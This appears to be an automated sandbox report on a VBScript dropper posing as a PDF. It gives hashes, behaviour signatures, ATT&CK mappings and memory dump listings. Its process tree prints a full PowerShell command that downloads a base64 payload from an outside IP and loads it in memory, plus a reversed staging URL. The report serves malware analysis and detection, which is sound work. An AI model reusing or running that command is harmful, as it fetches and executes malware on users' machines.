ace37f42d21bf2768add3a41954c1b5d41f85966af20de4483498c14ac4d8a7b

Analysis

max time kernel
402s
max time network
406s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
14/10/2022, 19:13

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General

Target

QKWERBD01BSNAS_002_PDF.vbs
Size

442KB
MD5

ef69b45b2a116ed60277d731e42c2f0e
SHA1

0f1b9734dd43a034c56360e603659568ab65f91d
SHA256

ace37f42d21bf2768add3a41954c1b5d41f85966af20de4483498c14ac4d8a7b
SHA512

c2d037d408ed9a199a15ae960b53c112e2887571e87325794cf49a6f8c15af18bba380544b565d7e0f96dd68c9cda8fc416c50d595640086c1e8f31c62ac7e10
SSDEEP

768:De0E0B0S0Y0V0w0B0V0/i0j0+050kfF0NF0B0Z/0pP40E0X070M0Ao0I0gAOAqAn:7aW1AP4lgK

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1292	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 1292	112	WScript.exe	27
PID 112 wrote to memory of 1292	112	WScript.exe	27
PID 112 wrote to memory of 1292	112	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QKWERBD01BSNAS_002_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('2fc2e069481e-e589-8744-a310-1ce6957b=nekot&aidem=tla?txt.dsderpsO/o/moc.topsppa.swdldk/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/112-54-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp

Filesize
8KB

Download
memory/1292-57-0x000007FEF28F0000-0x000007FEF3313000-memory.dmp

Filesize
10.1MB

Download
memory/1292-58-0x000007FEF1D90000-0x000007FEF28ED000-memory.dmp

Filesize
11.4MB

Download
memory/1292-59-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/1292-60-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/1292-61-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download
memory/1292-62-0x0000000002754000-0x0000000002757000-memory.dmp

Filesize
12KB

Download
memory/1292-63-0x000000000275B000-0x000000000277A000-memory.dmp

Filesize
124KB

Download